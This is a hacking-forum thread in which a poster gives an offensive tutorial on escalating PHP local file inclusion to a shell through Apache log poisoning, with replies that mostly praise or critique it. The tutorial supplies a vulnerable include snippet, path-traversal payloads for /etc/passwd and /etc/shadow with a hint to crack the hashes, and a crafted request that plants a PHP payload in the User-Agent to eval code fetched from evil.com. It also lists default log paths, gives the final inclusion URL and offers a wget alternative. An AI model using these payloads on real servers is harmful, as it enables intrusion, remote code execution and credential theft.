

Forum:[Hack Forums](#)

Thread: [\[Tutorial\]LFI to Shell access via Log Injection](#)

.trigious - November 29, 2015, 10:38 am

Introduction

Yo.

Haven't seen any tutorials around shelling Webservers trough Error Log Injections, so I'll start with this. This tutorial has no requirements, besides a basic knowledge of PHP. LFI (Local File Inclusion) is still an existent threat in Web Application Security, therefore this is something interesting you should read about. There are other ways, for example injecting code directly. A nice tutorial can be found [here](#).

=====

Table of Content

- 0x01 - LFI (brief tutorial, skip this if you know what LFI is.)
- 0x02 - Method explained in a few sentences
- 0x03 - Generating the Error
- 0x04 - Putting it all together

=====

0x01 - LFI

Again, if you know what Local File Inclusion (LFI) is and how it works, just skip this.

The vulnerability occures due to unfiltered inclusions.

PHP Code

```
<?php
if(!empty($_GET['file']))
{
    include_once $_GET['file'];
}
?>
```

A fix could've been to whitelist the allowed directory. Even then, it's insecure. But we're evil little hackers, so I won't talk about a fix here.

Now, when you would tell your friend that he needs to copy the gamefiles in the folder xyz, you only mean the filename and not the directory. When we speak in IT, the Path belongs to the file name aswell.

So this code would still get executed:

PHP Code

```
<?php
include_once $_GET['../random_file.txt'];
?>
```

../random_file.txt is the valid name of the relative filepath to the random_file.txt in the subfolder. This is how we use Unix based Filesystem Hierarchy. As most web servers run on Unix based Operating Systems, this tutorial is explained with such a Hierarchy.

Anyways, how is it interesting that we can open random text files in the subfolder? Right, it isn't. Much more interesting are files that contain sensitive info, for example the etc/passwd file which is a text file contains user configurations for the OS users. Now, let's say our base directory is in

Code /user/hosting/site/www

The payload to display the passwd file would be:

Code site.com?file=../../../../etc/passwd Ignore the space between 'passwd' and 'd'. The WAF blocks me.

An example output for the passwd file:

Code jsmith:x:1001:1000:Joe Smith,Room
1007,(234)555-8910,(234)555-0044,email:/home/jsmith:/bin/sh

Now, that's a lot of info already, let's look at the 'x'. This is the password. Yeah right, it isn't. The 'x' means that the password can be found in the shadow text file, in the same folder.

Payload:

Code site.com?file=../../../../etc/shadow

Example output:

Code smithj:Ep6mckrOLChF.:10063:0:99999:7::: The 2nd field ('Ep6mckrOLChF.') is the encrypted password. Crack it and have fun ?.

That was very brief, and you can do a lot more. For example get shell access via altering the USER_AGENT header, a tutorial can be found [here](#).

0x02 - Method explained in a few sentences

Back to what I actually wanted to tell you. What if the standard files get blocked by a firewall? We can still shell the server.

Let's look at how the include_once function works
(C&P from the manual)

Code The include_once statement includes and evaluates the specified file during the execution of the script. This is a behavior similar to the include statement, with the only difference being that if the code from a file has already been included, it will not be included again, and include_once returns TRUE. As the name suggests, the file will be included just once.

<http://php.net/manual/en/function.include-once.php>

include c&ps the targeted file into the current script and evaluates PHP code in it. This works with web servers that have logging somehow enabled. What you will do is, send an invalid HTTP request (with a PHP payload) and include the log file, to get this code executed. This will protect you from WAFs that will block for example passwd / shadow payloads. How to do this will be explained in the further sections.

0x03 - Generating the HTTP request

I'm working with Apache here, Apache will log HTTP requests. Those are saved in a textfile, somewhere on the Server. You'll have to find them and / or try default locations. I'll list those default locations in the last section of this tutorial.

Generating HTTP requests is pretty easy. You could either do it with the Plugin Tamper Data for Firefox and alter the Request or just generate one with telnet or a Python script or whatever. An example could be:

```
Code GET /ear.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT <?php
die(eval(file_get_contents('http://www.evil.com/shell.txt'))) ?> 6.3; WOW64; rv:42.0)
Gecko/20100101 Firefox/42.0
Connection: Close(If people need help generating those requests, just PM me.)
```

0x04 - Putting it all together

Okay. Now that we know the theory, the HTTP request, the payload and how LFI works, let's get this done. Assuming that you sent the HTTP request with your payload, the request will look somehow like this in the access.log file:

```
Code ::1 - - [29/Nov/2015:18:55:09 +0100] "GET /ear.php HTTP/1.1" 200 445 "-" "Mozilla/5.0
(Windows NT <?php die(eval(file_get_contents('http://www.evil.com/shell.txt'))) ?> 6.3; WOW64;
rv:42.0) Gecko/20100101 Firefox/42.0"
```

All we have to do now, is get the access log included. The problem is that we do not know the location of the log file, so we can try default locations. Those are (for Apache):

```
Code /var/log/apache/access.log
/var/log/apache2/access.logFeel free to post common locations.
```

Our payload could be:

```
Code site.com/example.php?file=../../../../var/log/apache2/access.log
And voila, we got the PHP code stored executed. The payload I used, isn't necessary, you can try
a lot more eg
Code system('wget evil.com/shell.txt')etc etc
```

Hope I helped someone.
Peace ?

?Criminal - November 29, 2015, 10:43 am

Great tutorial however theres tutorials covering this created years ago and lfi is super uncommon in 2015 but its good to know if you wanna practice on local host in the fairly rare occasion you see include functions used in the wild.

.trigious - November 29, 2015, 10:45 am

(Nov 29, 2015 11:43 AM)?Criminal Wrote: [\[CITE\]](#) Great tutorial however theres tutorials covering this created years ago and lfi is super uncommon in 2015 but its good to know if you wanna practice on local host in the fairly rare occasion you see include functions used in the wild.

I know, haven't found any on this forum though. Atleast not ones I liked so I thought I'd cover it. And it's some 'practise' in tutorial writing, as I'm planning on releasing tutorials on way more modern subjects soon. Thanks for your feedback tho. ?

Crory - November 29, 2015, 10:52 am

Wow thanks for the Tutorial! Stay HQ!

Regards,
~Crory ?

Im gone brah - November 29, 2015, 2:01 pm

Con - method has been covered several times already, and I am tired of seeing it.

Pron - Clean layout and straight to the point.

.trigious - November 29, 2015, 9:38 pm

(Nov 29, 2015 03:01 PM)Zayne Wrote: [\[CITE\]](#) Con - method has been covered several times already, and I am tired of seeing it.

Pron - Clean layout and straight to the point.

Should've searched used dorks instead of the HF search function to look for tutorials. Thanks anyways

Gee4rce - November 30, 2015, 1:44 am

Nice Tutorial, very good layout and content.

Eventhough the method is known, it's still nice to have this tut around HF!

Good job, cheers, Gee.

dnntee - November 30, 2015, 3:39 am

Great tutorial however theres tutorials covering this created years ago

jkavdaju - November 30, 2015, 6:20 am

Thank you very much for your help :)

.trigious - November 30, 2015, 7:59 am

(Nov 30, 2015 02:44 AM)Gee4rce Wrote: [\[CITE\]](#) Nice Tutorial, very good layout and content.

Eventhough the method is known, it's still nice to have this tut around HF!

Good job, cheers, Gee.

Thank you for your feedback! :)

xorl - November 30, 2015, 11:54 am

why you even bother to write a tutorial on a subject that has been already been covered so many times is beyond me, at least try to be creative and come up with something different
there are tons of stuff you could write about in relation to file inclusion->RCE that has never been covered on this forum

Quote:Code /et c/shado w

Example output:

Code smithj:Ep6mckrOLChF.:10063:0:99999:7:::

this requires that you're able to execute commands as the root user, since only the root user has read perms on /etc/shado w

any modern web server will start up as root and then drop the privs

?Criminal - November 30, 2015, 1:15 pm

(Nov 30, 2015 12:54 PM)xorl Wrote: [\[CITE\]](#) why you even bother to write a tutorial on a subject that has been already been covered so many times is beyond me, at least try to be creative and come

up with something different

there are tons of stuff you could write about in relation to file inclusion->RCE that has never been covered on this forum

this requires that you're able to execute commands as the root user, since only the root user has read perms on /etc/shadow

any modern web server will start up as root and then drop the privs

for example of unique stuff to cover SQL smuggling is a uncommon sub set of sqlmap and that hasn't even been covered, it was mentioned in an old 0'7 whitepaper. Someone should cover that anyways just because its something different.

xorl - November 30, 2015, 1:54 pm

(Nov 30, 2015 02:15 PM)?Criminal Wrote: [\[CITE\]](#) for example of unique stuff to cover SQL smuggling is a uncommon sub set of sqlmap and that hasn't even been covered, it was mentioned in an old 0'7 whitepaper. Someone should cover that anyways just because its something different.

there's not really anything in that paper on bypassing waf/ids/defense that I haven't seen on HF

.trigious - December 2, 2015, 8:24 am

(Nov 30, 2015 12:54 PM)xorl Wrote: [\[CITE\]](#) why you even bother to write a tutorial on a subject that has been already been covered so many times is beyond me, at least try to be creative and come up with something different

there are tons of stuff you could write about in relation to file inclusion->RCE that has never been covered on this forum

Won't repeat myself, read the previous posts.

(Nov 30, 2015 12:54 PM)xorl Wrote: [\[CITE\]](#) this requires that you're able to execute commands as the root user, since only the root user has read perms on /etc/shadow

any modern web server will start up as root and then drop the privs

That just covered basic LFI to build up for the tutorial.